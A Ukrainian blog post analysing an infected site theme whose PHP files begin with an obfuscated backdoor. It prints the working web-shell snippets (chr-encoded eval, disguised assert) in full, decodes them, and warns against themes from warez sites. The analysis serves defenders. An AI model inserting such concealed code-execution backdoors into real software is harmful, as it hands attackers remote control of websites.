
І знову до моїх рук потрапила тема, заражена шкідливими скриптами. Причому ця тема цілком нормально працювала на сайті одного знайомого, доки там не оновили PHP до новішої версії. У ній шкідливий скрипт перестав працювати й тим самим видав себе. На жаль, вбудований антивірус ClamAV не виявив цей скрипт. Інші антивіруси визначають заражені файли як Trojan.Script.1006652, Trojan.Script.DF5C3C, PHP.Shell.597, PHP/WebShell.FX!tr.
Цей бекдор — просто фрагмент коду на початку деяких PHP-файлів теми, який усілякими способами намагається приховати назву PHP-функції “assert”, що використовується для виконання довільного коду. Видалити його нескладно — достатньо прибрати шкідливий код, а ось виявити складніше. Він має такий вигляд:
<?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?><?php $a=substr_replace("axxxert","ss",1,3);$a($_POST['1']);?><?php $a = chr(92+5);$b = chr(ord($a)+18);$c = chr(ord($b)-14);$d = chr(ord($c)+13);$e = chr(ord($d)+2);$f = $a.$b.$b.$c.$d.$e;forward_static_call_array($f, array($_REQUEST['11']));?><?php
що декодується в такі рядки:
eval($_POST['1']);
assert($_POST['1']);
forward_static_call_array(assert, array($_REQUEST['11']));
Суть цього коду в тому, що він просто чекає на GET- або POST-запит із параметром “1” чи “11” і виконує переданий у ньому код. Тобто без зовнішньої команди код ніяк себе не проявляє й нічого не робить. Але якщо ваш сайт знайде ботнет, який регулярно розсилає тестові команди, сайт легко може стати його частиною.
Тож варто ще раз нагадати тим, хто любить встановлювати теми з варезних сайтів або збірок тем на різних ресурсах: так дуже легко отримати заражений сайт уже з моменту його створення.
Ще кілька статей на цю тему (російською мовою):
